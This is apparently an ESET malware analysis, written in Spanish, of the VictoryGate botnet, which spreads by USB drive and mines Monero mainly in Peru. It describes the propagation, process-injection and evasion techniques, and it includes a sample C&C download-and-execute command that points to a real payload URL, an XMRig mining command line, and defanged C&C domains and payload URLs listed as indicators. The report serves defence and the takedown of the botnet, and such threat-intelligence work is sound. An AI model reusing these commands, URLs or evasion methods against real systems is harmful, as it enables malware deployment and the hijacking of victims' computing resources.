Investigadores de ESET descubren una botnet no documentada previamente, a la que han denominado VictoryGate. La misma ha estado activa al menos desde mayo de 2019 y, desde entonces, se han identificado tres variantes de su módulo inicial y apróximadamente 10 payloads que son descargados por el equipo de la víctima desde sitios de file hosting en Internet. El módulo inicial es detectado por los productos de seguridad de ESET como MSIL/VictoryGate. A su vez, a través de la colaboración con distintas organizaciones, se ha logrado disminuir en gran medida el control que la misma tiene sobre los dispositivos afectados.
La botnet está compuesta principalmente por dispositivos ubicados en la región de LATAM, principalmente en Perú, país en donde están más del 90% de los dispositivos comprometidos. Hemos realizado actividades de sinkholing sobre varios subdominios hardcodeados en las muestras que la botnet utiliza como respaldo para su servidor de comando y control (C&C). La combinación de la información recopilada de nuestro sinkhole, sumada a nuestra telemetría, nos permitió estimar el tamaño de la botnet, la cual está conformada, como mínimo, por 35.000 dispositivos.
VictoryGate utiliza subdominios registrados con el proveedor de servicios de DNS dinámico No-IP, empresa que rápidamente dio de baja los dominios una vez que los mismos fueron reportados por ESET, limitando efectivamente el control de los bots por parte del atacante. Adicionalmente, la información recolectada en el sinkhole es compartida con la organización sin fines de lucro Shadowserver Foundation para alertar a las autoridades locales y operadores de red.
En la Figura 1 se puede observar el pico de conexiones de IP únicas por día que se conectan con el C&C.
La actividad principal de la botnet ha sido la utilización de los equipos infectados para la minería de la criptomoneda Monero. Sin embargo, dado que el operador tiene la capacidad de actualizar los payloads que la víctima ejecuta en cualquier momento que lo desee, esta funcionalidad podría haber cambiado en cualquier momento. Esto representaba un riesgo considerable, dado que se ha detectado tráfico de red comprometido que se origina desde organizaciones tanto públicas como privadas, incluyendo empresas del sector financiero en Perú.
El impacto en el equipo de la víctima es:
- Elevado uso de recursos de la PC de la víctima. En todas las muestras analizadas, el malware hace uso de todos los hilos disponibles del procesador para realizar criptominería. Esto se traduce en un uso sostenido del CPU del rango de 90-99%. Esto puede causar ralentizamiento del equipo, sobrecalentamiento o incluso dañarlo.
- Los archivos contenidos en dispositivos USB que se conectan a un equipo infectado son escondidos en una carpeta con atributos de sistema en la raíz de la unidad extraíble. Esto significa que algunos usuarios pueden perder acceso a sus archivos originales si no remueven dicho atributo de la carpeta escondida.
En este artículo analizaremos algunos de los detalles técnicos de esta amenaza.
¿Qué es VictoryGate?
Este es el nombre que le damos al módulo inicial de la amenaza, que recibe y ejecuta comandos del servidor de comando y control del atacante. Además, este módulo es el encargado de la propagación de la amenaza a través de medios de almacenamiento USB.
Propagación de la amenaza
El único vector de propagación que hemos podido confirmar durante la investigación es a través de medios extraíbles USB. El mecanismo funciona de la siguiente manera: la víctima recibe un pendrive que en algún momento fue conectado a una PC infectada. A primera vista, contiene todos los archivos originales con sus nombres e íconos correspondientes, sin embargo, los archivos originales fueron reemplazados por ejecutables de Windows, como se observa en la Figura 2. Es fácil para un usuario desprevenido ejecutar uno de estos archivos sin percibir nada inusual.
Cada uno de estos archivos maliciosos son scripts AutoIt que VictoryGate compila “on the fly” utilizando la plantilla que se muestra en la Figura 3. Vale la pena mencionar que a cada uno de estos archivos se les agrega metadatos aleatorios para que el hash resultante nunca sea el mismo.
La ejecución de cualquiera de estos archivos por parte del usuario hará que se ejecute tanto el archivo original que se desea abrir, así como el módulo inicial de la amenaza, ambos escondidos en una carpeta oculta (marcada con atributos de sistema) en la raíz de la unidad de almacenamiento extraíble.
Una vez ejecutado el módulo inicial escondido en el pendrive, el mismo realiza una copia de sí mismo en el directorio %AppData% en el sistema de archivos del equipo de la víctima, modificando su nombre para aparentar ser un archivo de Windows legítimo como “ctfmon2.exe”. Además, crea un acceso directo, que apunta a dicha copia, en la carpeta de inicio de Windows como un mecanismo simple de establecer persistencia en el equipo de la víctima.
El módulo inicial en sí es un archivo MSIL que tiene un tamaño de aproximadamente 200MB. Contiene un array de bytes excesivamente grande, probablemente para evadir la detección de productos de seguridad que tengan un límite de tamaño de archivo para realizar el escaneo. Contiene una DLL empaquetada, cifrada con XOR y comprimida con gzip, que es descifrada y cargada durante la ejecución realizando un late binding a través de la API de .NET Reflection. A su vez, esta DLL contiene otro archivo empaquetado, en este caso un script compilado AutoIt, además de las funciones RunPE para poder inyectarlo en algún proceso legítimo de Windows. Hemos observado los procesos vbc.exe (Compilador de Visual Basic) y csc.exe (Compilador de C#) siendo los objetivos de la amenaza.
La inyección se realiza creando una instancia del proceso vbc.exe en estado de suspensión, desmapeando sus secciones de memoria y finalmente cargando el archivo malicioso en la memoria que se le asignó al proceso. Como se puede ver en la Figura 5, VictoryGate utiliza varias funciones no documentadas de NTAPI, como NtWriteVirtualMemory, en lugar de utilizar funciones más comunes y mejor documentadas por Microsoft, como WriteProcessMemory. Esto se realiza para evadir las detecciones por API hooking básicas que algunos productos de seguridad utilizan.
El agente AutoIt inyectado es el responsable por la comunicación con el C&C, la descarga y ejecución de los distintos payloads, y el escaneo constante de unidades USB conectadas para poder infectarlas. Si detecta una nueva unidad, procederá a esconder los archivos originales y reemplazarlos por los scripts de propagación como mencionamos anteriormente.
Comunicación con el servidor C&C
El operador tiene la habilidad de enviar comandos a los nodos y actualizar los payloads que éstos ejecutan. Estos comandos se transmiten utilizando un protocolo personalizado en un puerto poco común y en texto claro. Los siguientes comandos son soportados:
Comando | Descripción |
---|---|
! | El C&C le indica al nodo que descargue un archivo desde una determinada URL y que luego lo ejecute. Este prefijo también es utilizado por el nodo para notificar que la operación se realizó correctamente. |
~ | El nodo utiliza este prefijo para indicarle al C&C que hubo un error en la ejecución del comando anterior. |
- | Este prefijo es utilizado por el nodo durante el primer mensaje al C&C, en el cual envía información sobre el sistema de la víctima. Posterior a eso, este prefijo es utilizado como un Keep-Alive de la conexión entre el cliente y el servidor. |
_ | El nodo le notifica al C&C que la ruta de ejecución actual es diferente a la esperada. Esto da inicio al mecanismo a través del cual el payload se copia a sí mismo en el directorio %AppData%En otras palabras, asume que se encuentra en la unidad USB y que debe copiarse al disco duro de la víctima. |
Ejemplo de un comando de descarga y ejecución enviado por el C&C:
!|N-I-C-H-O-L-A-S|!|N-I-C-H-O-L-A-S|PuQPQOZOy.exe|N-I-C-H-O-L-A-S|http://gulfup[.]me/i/00711/2czcy5xvh7br.jpeg[N-E-K]
En este caso, la URL es el payload a descargar al directorio %Temp%, mientras que PuQPQOZOy.exe es un nombre aleatorio que se le debe asignar al archivo luego de ser descargado.
Payloads descargados
Los payloads descargados también suelen ser scripts AutoIt compilados. El compilador tiene la habilidad de embeber ejecutables junto con el script en un único archivo. El malware hace uso de esta funcionalidad y dentro del ejecutable descargado podemos encontrar un archivo MSIL que es eventualmente ejecutado con la funcion AutoIt ShellExecute(). Además de la ejecución de este binario, el script crea un nuevo acceso directo en la carpeta de inicio de Windows vinculado al payload y una tarea programada que se ejecuta cada un minuto como mecanismos de persistencia adicionales.
En la Figura 6 se aprecia el flujo de ejecución de los payloads analizados:
Nuevamente, el payload inyectará el código en un proceso legítimo de Windows. En este caso, intentará inyectar el minero XMRig en el proceso ucsvc.exe (Boot File Servicing Utility).
Una vez ejecutado el archivo MSIL, tpmvscugr.exe, éste descifra un array cifrado con Rijndael, en una implementación similar a AES. Se trata de archivo binario empaquetado al cual llamamos gate.exe – sus métodos son invocados durante la ejecución utilizando la API de .NET Reflection.
El binario empaquetado no tiene el código necesario para realizar la inyección por sí mismo, sino que la última pieza para poder inyectar el minero en el proceso de ucsvc.exe es una DLL que es enviada por el C&C a través del tráfico de red. Dicho tráfico enviado está comprimido utilizando gzip y el contenido de la DLL es cifrado con AES. El stream cifrado es almacenado en una clave del registro y la clave para descifrar el archivo tiene que ser recuperada del tráfico de red entre el servidor y el nodo. Finalmente, esta DLL es cargada en la memoria del proceso de tpmvscugr.exe durante la ejecución mediante un late binding.
Esta DLL (auto.dll) contiene alunas funciones RunPE típicas que le permiten a gate.exe realizar la inyección.
Minería de Monero
Una vez que el proceso de ucsvc.exe fue inyectado con el minero XMRig, el C&C comienza la minería enviando un comando como el siguiente:
C:\Windows\system32\ucsvc.exe -algo cryptonight -url <Redacted>:19019 –user CPU_x64 –pass x –retries=50 –retry-pause=1 –keepalive –donate-level=1 –nicehash
La dirección IP que se ve en el comando no es un pool de minería, sino que se trata de un Stratum proxy – O XMRig proxy que añade un nivel de indirección, ya que no permite determinar el usuario del operador de la botnet.
Por otro lado, cuando el usuario intente averiguar a que se debe que su PC tenga un rendimiento tan lento, no encontrará en el administrador de tareas nada que llame su atención, ya que, como hemos visto en varias amenazas de este tipo, el proceso de minería finaliza cuando se abre dicho programa, y es resumido en cuanto el administrador de tareas se cierra.
Con la información recolectada durante nuestras actividades de sinkholing podemos determinar que hay en promedio 2,000 dispositivos minando constantemente a lo largo del día para el atacante. Si estimamos un hashrate promedio de 150 H/s por equipo se puede extrapolar que el dinero obtenido en esta campaña es de alrededor de 80XMR (USD 6,000).
Conclusión
VictoryGate es una nueva botnet que utiliza dispositivos de almacenamiento USB como mecanismo de propagación, una técnica recurrente en campañas de malware en la región de LATAM. La utilización de XMRig para la minería de Monero también es una tendencia que ha ido creciendo en campañas de este tipo a lo largo del mundo.
Una de las características interesantes de VictoryGate es que, en comparación con otras campañas, hace un esfuerzo mayor para evadir la detección por parte de las soluciones de seguridad. De todos modos, el factor más interesante de esta investigación ha sido nuestra habilidad de registrar nombres de dominios hardcodeados en las muestras analizadas para poder obtener información estadística sobre los equipos infectados. De esta manera, además, pudimos compartir los datos obtenidos con Shadowserver Foundation para alertar a las autoridades locales y a los propietarios de red. No-IP tamién ha sido de gran ayuda en dar de baja los nombres de dominio maliciosos, efectivamente removiendo los equipos infectados del operador de la botnet.
A pesar de nuestros esfuerzos, los pendrives infectados van a continuar en circulación, razón por la cual se seguirán produciendo nuevas infecciones. Sin embargo, la diferencia significativa que se logró a partir de esta investigación es que los equipos ya no recibirán comandos del C&C, por ende no descargarán nuevos payloads de Internet. De todos modos, aquellas PC que hayan sido infectadas previo a la disrupción continuarán minando para el atacante. Si éste es el caso, y crees que tu equipo ha sido comprometido por este malware, sugerimos utilizar nuestra herramienta gratuita ESET Online Scanner para limpiar tu dispositivo.
Indicadores de Compromiso (IOCs)
Muestras
Nombres de detección de ESET | Hash |
---|---|
MSIL/VictoryGate.A | 398C99FD804043863959CC34C68B0305B1131388 |
MSIL/VictoryGate.A | a187d8be61b7ad6c328f3ee9ac66f3d2f4b48c6b |
MSIL/VictoryGate.B | 483a55389702cdc83223c563efb9151a704a973e |
MSIL/VictoryGate.C | 686eef924e6b7aadb5bcff1045b25163501670e6 |
Sistema de archivos
%ProgramData%\JcmewjJky\jcmewjjky.ico
%ProgramData%\JcmewjJky\jcmewjjky.exe
%ProgramData%\JcmewjJky\jcmewjjky.au3
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\ctfmon.url.lnk
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\tpmvsucgr.url
%AppData%\tpmvscugr.exe
%AppData%\ctfmon2.exe
HKCU/Software/JcMewjJKy
HKLM/Software/Microsoft/Windows NT/CurrentVersion/Schedule/TaskCache/Tree/rwIAMblfuvoss
HKCU/Software/Victory
Dominios de C&C
(*) Dominios registrados por ESET para evaluar el alcance de la amenaza.
scitie.ddns[.]net
ddw.ddns[.]net
c0d3.ddns[.]net
volvo.ddns[.]net
xcod.ddns[.]net
mrxud.ddns[.]net
d001.ddns[.]net
xkm.ddns[.]net
luio.ddns[.]net
xcud.ddns[.]net
aut2scr.ddns[.]net
fanbmypersondrive[.]icu
mydrivepersonpdvsa[.]icu
mydrivepersonfanb[.]icu
mycountermppd[.]xyz
calypsoempire.ddns[.]net
mgud2xd.ddns[.]net
aut0hk.ddns[.]net
xcud.zapto[.]org
accountantlive[.]icu
shittybooks[.]review
hakerz123.ddns[.]net
jcmewjjkyc0d3.ddns[.]net *
urtyerc0d3.ddns[.]net *
MoOHyAYeuaut2scr.ddns[.]net *
pNUMWWDLjPmzg.ddns[.]net *
gJyapcAGoc0d3.ddns[.]net *
OHOFqlXNJluio.ddns[.]net *
URLs de los payload
gulfup[.]me/i/00711/2czcy5xvh7br.jpeg
gulfup[.]me/i/00711/a8nr26g1zcot.jpeg
gulfup[.]me/i/00711/6400e1i9fsj6.jpeg
gulfup[.]me/i/00711/pwgzuq5902m2.jpeg
gulfup[.]me/i/00711/lhm3w37zuiwy.jpeg
gulfup[.]me/i/00711/3mwdm6tbgcq6.jpeg
gulfup[.]me/i/00712/sy8rtcxlh1pu.jpeg
gulfup[.]me/i/00712/o56zgjhefny0.jpeg
b.top4top[.]io/p_152411ncc1.jpeg
pastebin[.]com/raw/fEAuhPYh
Técnicas de MITRE ATT&CK
Táctica | ID | Nombre | Descripción |
---|---|---|---|
Acceso Inicial | T1091 | Replicación a través de medios extraíbles | Compila scripts AutoIt que reemplazan los archivos originales en la unidad USB |
Ejecución | T1064 | Scripting | Utiliza scripts tanto AutoIt como VBS |
T1129 | Ejecución a través de la carga de un módulo | Carga y ejecuta distintos binarios | |
T1085 | Rundll32 | Usa rundll32 a través de la función de AutoIt INETGET para descargar payloads | |
T1106 | Ejecución a través de una API | Usa llamadas a la API como CreateProcessA() y otras | |
T1053 | Tarea programada | Crea una tarea programada como mecanismo de persistencia | |
Persistencia | T1158 | Archivos y directorios ocultos | Crea directorios ocultos en las unidades USB extraíbles |
T1060 | Carpeta de Inicio | Crea accesos directos en la carpeta de inicio como mecanismo de persistencia | |
T1053 | Tarea Programada | Crea una tarea programada como mecanismo de persistencia | |
Escalación de Privilegios | T1055 | Inyección de Proceso | Gana privilegios inyectando procesos legítimos de Windows |
Evasión de Defensa |
T1140 | Desofuscar/decodificar información | Utiliza codificación Base64 para hardcodear nombres de domino en el malware |
T1222 | Modificación de permisos de archivos o directorios | Marca directorios con atributos +RSH | |
T1009 | Relleno binario | Usa relleno binario o información aleatoria para que los scripts de propagación tengan hashes distintos | |
T1107 | Eliminación de Archivos | Archivos descargados en el directorio %temp% luego son eliminados | |
T1093 | Vaciamiento de Proceso | Procesos legítimos de Windows son vaciados y luego inyectados | |
T1045 | Empaquetamiento de Software | Varios módulos poseen binarios empaquetados | |
Movimiento Lateral | T1091 | Replicación a través de medios extraíbles | Compila scripts AutoIt que reemplazan los archivos originales en la unidad USB |
Colección | T1005 | Datos del sistema local | Cierta información del sistema de la víctima es exfiltrada al servidor del atacante |
Descubrimiento | T1063 | Descubrimiento del software de seguridad | Utiliza consultas WMI para obtener la solución de seguridad instalada en el equipo |
T1057 | Descubrimiento de procesos | Detecta la presencia del administrador de tareas ( taskmgr.exe %) para suspender el proceso de minería | |
Comando y Control | T1094 | Protocolo no-estándar | El servidor C&C utiliza un protocolo personalizado |
T1065 | Puertos poco frecuentes | El servidor C&C utiliza puertos poco frecuentes para la comunicación, como son los puertos 3,030, 6,060 y 19,019. | |
T1008 | Canal de Respaldo | Utiliza nombres de dominio hardcodeados como respaldo de los originales | |
T1102 | Servicio Web | Utiliza la plataforma pastebin para obtener la dirección IP del C&C incluso si la resolución DNS falla | |
Impacto | T1496 | Secuestro de Recursos | El equipo de la víctima es utilizado para minar criptomonedas |
T1492 | Manipulación de datos almacenados | Los archivos contenidos en el pendrive de la víctima son escondidos |